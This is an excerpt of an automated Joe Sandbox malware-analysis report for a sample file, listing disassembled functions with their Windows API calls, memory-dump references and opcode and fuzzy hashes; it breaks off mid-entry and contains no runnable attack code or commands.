                                                • Instruction Fuzzy Hash: 7C311334604210AFDB20CF19EC85F553BE1FB4A718F1811A8F501AB2F5CB72ACA5DB81
                                                Function 00DF6486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00DF80CB
                                                • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00DF64D9
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF64E8
                                                • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00DF6521
                                                • connect.WSOCK32(00000000,?,00000010), ref: 00DF652A
                                                • WSAGetLastError.WSOCK32 ref: 00DF6534
                                                • closesocket.WSOCK32(00000000), ref: 00DF655D
                                                • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00DF6576
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                • String ID:
                                                • API String ID: 910771015-0
                                                • Opcode ID: 054cc88b4f5276bdedf7671bb8a493bef3c9d245cdde66a6e557576da65861c6
                                                • Instruction ID: e546f2eba9ac73812995ff86d60da420ec6e28f2050dc296eb00d905f156214b
                                                • Opcode Fuzzy Hash: 054cc88b4f5276bdedf7671bb8a493bef3c9d245cdde66a6e557576da65861c6
                                                • Instruction Fuzzy Hash: B131A431600118AFDB10AF64CC85BBE77ACEB44714F058069FA45A7691DB71ED44CBB1
                                                Function 00DDE0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DDE0FA
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DDE120
                                                • SysAllocString.OLEAUT32(00000000), ref: 00DDE123
                                                • SysAllocString.OLEAUT32 ref: 00DDE144
                                                • SysFreeString.OLEAUT32 ref: 00DDE14D
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 00DDE167
                                                • SysAllocString.OLEAUT32(?), ref: 00DDE175
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: 96f4b81e5d04fcc2997b72de179d1e14d35f1a65fde594a2232049c4632d4e17
                                                • Instruction ID: deb2d10b12ac921159ed6311579f5c8bfd2527f2665e49dbbac85db9f321f6a8
                                                • Opcode Fuzzy Hash: 96f4b81e5d04fcc2997b72de179d1e14d35f1a65fde594a2232049c4632d4e17
                                                • Instruction Fuzzy Hash: 1021A135600218AFDB20BFA9DC88CAB77ECEB09760B048126F954DB260DA71DC85CB74
                                                Function 00E0783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D81D73
                                                  • Part of subcall function 00D81D35: GetStockObject.GDI32(00000011), ref: 00D81D87
                                                  • Part of subcall function 00D81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D81D91
                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00E078A1
                                                • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00E078AE
                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00E078B9
                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00E078C8
                                                • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00E078D4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$CreateObjectStockWindow
                                                • String ID: Msctls_Progress32
                                                • API String ID: 1025951953-3636473452
                                                • Opcode ID: 5439a03f5ec6022a6a5a21f6a731ae2c822dc91064348ee03907caeb5df0d461
                                                • Instruction ID: ea6ff57cab4bca8907914cb54b3ad3beaf9089c22b56eb94bbe3336e4a5b72e9
                                                • Opcode Fuzzy Hash: 5439a03f5ec6022a6a5a21f6a731ae2c822dc91064348ee03907caeb5df0d461
                                                • Instruction Fuzzy Hash: 20118EB2510219BFEF159E60CC85EE77F6DEF08798F019115FA44A20A0C772AC61DBB0
                                                Function 00DA41C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00DA4292,?), ref: 00DA41E3
                                                • GetProcAddress.KERNEL32(00000000), ref: 00DA41EA
                                                • EncodePointer.KERNEL32(00000000), ref: 00DA41F6
                                                • DecodePointer.KERNEL32(00000001,00DA4292,?), ref: 00DA4213
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                • String ID: RoInitialize$combase.dll
                                                • API String ID: 3489934621-340411864
                                                • Opcode ID: a06905fac1d1648b47a4d2854d7eac448901a67d02ae740783a6b90549d5a0b2
                                                • Instruction ID: 50cb5a168bebbf572594ac59c8decf5bfb9860cf4716334cca8d5fbc347b18e4
                                                • Opcode Fuzzy Hash: a06905fac1d1648b47a4d2854d7eac448901a67d02ae740783a6b90549d5a0b2
                                                • Instruction Fuzzy Hash: 3DE012F46913409FDB206B72EC09B443594BB56706F105424F551F55E0DBB654EA8F10
                                                Function 00DA429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00DA41B8), ref: 00DA42B8
                                                • GetProcAddress.KERNEL32(00000000), ref: 00DA42BF
                                                • EncodePointer.KERNEL32(00000000), ref: 00DA42CA
                                                • DecodePointer.KERNEL32(00DA41B8), ref: 00DA42E5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                • String ID: RoUninitialize$combase.dll
                                                • API String ID: 3489934621-2819208100
                                                • Opcode ID: 6e1ffea3ffe12f43d3c13908496a483ed099a45b2dbf11717b082d106ab1a243
                                                • Instruction ID: f0c92a7a431c9b0a2797f7da718f0244c94769f88583fa1797303bd54d4c4c07
                                                • Opcode Fuzzy Hash: 6e1ffea3ffe12f43d3c13908496a483ed099a45b2dbf11717b082d106ab1a243
                                                • Instruction Fuzzy Hash: 09E0BFBC6423019FDB209B62FC0EB453AA4B715B46F255028F101F15E0CBB545E9CA18
                                                Function 00DE675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove$__itow__swprintf
                                                • String ID:
                                                • API String ID: 3253778849-0
                                                • Opcode ID: fe2f17f79ebd84cb438237771d0d4cdbd62087dd95f3309a9b711921911bb9bb
                                                • Instruction ID: 98ac3e685d1be8d37dea9936f0dbbcd10ab27e1022121149a4818cc550443b85
                                                • Opcode Fuzzy Hash: fe2f17f79ebd84cb438237771d0d4cdbd62087dd95f3309a9b711921911bb9bb
                                                • Instruction Fuzzy Hash: 7F61893450029AABCB11FF21CC92EFE77A4EF55348F084519F8995B292DA30E941CBB0
                                                Function 00E0046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00E010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E00038,?,?), ref: 00E010BC
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E00548
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E00588
                                                • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00E005AB
                                                • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00E005D4
                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00E00617
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00E00624
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                • String ID:
                                                • API String ID: 4046560759-0
                                                • Opcode ID: ca3293d24ba38174277b7eedd4e38b04b77a439bc1c9fa4d5d1e656a061646d0
                                                • Instruction ID: 5990d0061aa56baae3cb526b3ce272f0b772e8f7b1f386d225c1ec2ca7b5afeb
                                                • Opcode Fuzzy Hash: ca3293d24ba38174277b7eedd4e38b04b77a439bc1c9fa4d5d1e656a061646d0
                                                • Instruction Fuzzy Hash: A9514831208200AFCB24EB64DC85E6EBBE9FF88714F04491DF595A72A1DB31E954CB62
                                                Function 00E05A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenu.USER32(?), ref: 00E05A82
                                                • GetMenuItemCount.USER32(00000000), ref: 00E05AB9
                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00E05AE1
                                                • GetMenuItemID.USER32(?,?), ref: 00E05B50
                                                • GetSubMenu.USER32(?,?), ref: 00E05B5E
                                                • PostMessageW.USER32(?,00000111,?,00000000), ref: 00E05BAF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountMessagePostString
                                                • String ID:
                                                • API String ID: 650687236-0
                                                • Opcode ID: f33e8dc72ff403c54294c1328f9489efef03591aca19a7fcb09defce66d3b2ca
                                                • Instruction ID: 4d755d530b504adb009945b403c5c226b18b9e434acc4bf2c4b7934fcdf4bae7
                                                • Opcode Fuzzy Hash: f33e8dc72ff403c54294c1328f9489efef03591aca19a7fcb09defce66d3b2ca
                                                • Instruction Fuzzy Hash: D7516F36A00615EFCB15EFA5C845AAEB7B4EF48310F144459F851B7391CB71AE81CFA0
                                                Function 00DDF3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00DDF3F7
                                                • VariantClear.OLEAUT32(00000013), ref: 00DDF469
                                                • VariantClear.OLEAUT32(00000000), ref: 00DDF4C4
                                                • _memmove.LIBCMT ref: 00DDF4EE
                                                • VariantClear.OLEAUT32(?), ref: 00DDF53B
                                                • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00DDF569
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$Clear$ChangeInitType_memmove
                                                • String ID:
                                                • API String ID: 1101466143-0
                                                • Opcode ID: b4c44b6b7b7b49531ce2596a4a13c9f0c8da917499bee680d75182ae0da0e252
                                                • Instruction ID: 95f2d186301164891c9eda12e8586ca964384e7a7bda7defebf0b50e2df18be3
                                                • Opcode Fuzzy Hash: b4c44b6b7b7b49531ce2596a4a13c9f0c8da917499bee680d75182ae0da0e252
                                                • Instruction Fuzzy Hash: 915168B5A00209EFCB10CF58D880AAAB7F8FF4C314B15856AED59DB301D730E951CBA0
                                                Function 00DE26F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DE2747
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DE2792
                                                • IsMenu.USER32(00000000), ref: 00DE27B2
                                                • CreatePopupMenu.USER32 ref: 00DE27E6
                                                • GetMenuItemCount.USER32(000000FF), ref: 00DE2844
                                                • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00DE2875
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                • String ID:
                                                • API String ID: 3311875123-0
                                                • Opcode ID: 1211ac83dca03ce12355e726bd29117bcedac2f74f3f7ee314ccf3da32439bc5
                                                • Instruction ID: 42888cd9a1027426e97173888697266cf6c00e9b26f7814da79c9edf3de9a179
                                                • Opcode Fuzzy Hash: 1211ac83dca03ce12355e726bd29117bcedac2f74f3f7ee314ccf3da32439bc5
                                                • Instruction Fuzzy Hash: 0C518D70A00285EFDB24EF6AC888ABEBBF9EF44314F184169E455AB291D7708944CB71
                                                Function 00D81765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • BeginPaint.USER32(?,?,?,?,?,?), ref: 00D8179A
                                                • GetWindowRect.USER32(?,?), ref: 00D817FE
                                                • ScreenToClient.USER32(?,?), ref: 00D8181B
                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D8182C
                                                • EndPaint.USER32(?,?), ref: 00D81876
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                • String ID:
                                                • API String ID: 1827037458-0
                                                • Opcode ID: f94084d70a05bc9bd69afad99b8b5d460423e9a6150efd3868d0f6d4d877cb57
                                                • Instruction ID: c884b0442e04eae6479538fd35b81702cb0d4dc97189877e3161271f1cc2be5a
                                                • Opcode Fuzzy Hash: f94084d70a05bc9bd69afad99b8b5d460423e9a6150efd3868d0f6d4d877cb57
                                                • Instruction Fuzzy Hash: 6341BE74500300EFC720EF25DC85FBA7BF8EB4A724F040629F995962A1C771984ADB72
                                                Function 00E0B958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(00E467B0,00000000,0194CB30,?,?,00E467B0,?,00E0B862,?,?), ref: 00E0B9CC
                                                • EnableWindow.USER32(00000000,00000000), ref: 00E0B9F0
                                                • ShowWindow.USER32(00E467B0,00000000,0194CB30,?,?,00E467B0,?,00E0B862,?,?), ref: 00E0BA50
                                                • ShowWindow.USER32(00000000,00000004,?,00E0B862,?,?), ref: 00E0BA62
                                                • EnableWindow.USER32(00000000,00000001), ref: 00E0BA86
                                                • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00E0BAA9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Show$Enable$MessageSend
                                                • String ID:
                                                • API String ID: 642888154-0
                                                • Opcode ID: f751277fc9f4bdb14c8c4896f01c99a36bab9ed751617fcb22eef8c0911224fa
                                                • Instruction ID: f3bff2943caba13cfc77b0d87ec50848fd5678efb57561d4e929f99609b4649d
                                                • Opcode Fuzzy Hash: f751277fc9f4bdb14c8c4896f01c99a36bab9ed751617fcb22eef8c0911224fa
                                                • Instruction Fuzzy Hash: 2C417430600241AFDB22CF15C489B957BF0FF45314F5851B9EA58AF6E2C732E895CB61
                                                Function 00DF73B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(?,?,?,?,?,?,00DF5134,?,?,00000000,00000001), ref: 00DF73BF
                                                  • Part of subcall function 00DF3C94: GetWindowRect.USER32(?,?), ref: 00DF3CA7
                                                • GetDesktopWindow.USER32 ref: 00DF73E9
                                                • GetWindowRect.USER32(00000000), ref: 00DF73F0
                                                • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00DF7422
                                                  • Part of subcall function 00DE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DE555E
                                                • GetCursorPos.USER32(?), ref: 00DF744E
                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00DF74AC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                • String ID:
                                                • API String ID: 4137160315-0
                                                • Opcode ID: 112202e8ade0a8faae63da286d21283949491f17c0232e77d2e00f8b8fe94414
                                                • Instruction ID: 7c3de293a738bde44ee40c5cb865ba104ae61cedb10be828959e9e0bfa5aae97
                                                • Opcode Fuzzy Hash: 112202e8ade0a8faae63da286d21283949491f17c0232e77d2e00f8b8fe94414
                                                • Instruction Fuzzy Hash: 0A31D472508309AFD720DF15DC49FABBBA9FF88354F004919F588A7191CA31E959CBA2
                                                Function 00DD8D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD85F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00DD8608
                                                  • Part of subcall function 00DD85F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00DD8612
                                                  • Part of subcall function 00DD85F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00DD8621
                                                  • Part of subcall function 00DD85F1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00DD8628
                                                  • Part of subcall function 00DD85F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00DD863E
                                                • GetLengthSid.ADVAPI32(?,00000000,00DD8977), ref: 00DD8DAC
                                                • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00DD8DB8
                                                • HeapAlloc.KERNEL32(00000000), ref: 00DD8DBF
                                                • CopySid.ADVAPI32(00000000,00000000,?), ref: 00DD8DD8
                                                • GetProcessHeap.KERNEL32(00000000,00000000,00DD8977), ref: 00DD8DEC
                                                • HeapFree.KERNEL32(00000000), ref: 00DD8DF3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                • String ID:
                                                • API String ID: 3008561057-0
                                                • Opcode ID: 747b15823a1e51172efb0f6b396061a0d3ecda308cd586a19579a5605b5b973d
                                                • Instruction ID: 52228537cb29a61a37e0fe3b0b6a5e7c78d6c0938221d4d049787c9624ceed61
                                                • Opcode Fuzzy Hash: 747b15823a1e51172efb0f6b396061a0d3ecda308cd586a19579a5605b5b973d
                                                • Instruction Fuzzy Hash: 8C11DF31901604FFDB229FA5CC08BAE77BAEF54315F14402AE885A3291CB369958EB70
                                                Function 00DD8AF9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                Download Yara Rule
                                                APIs
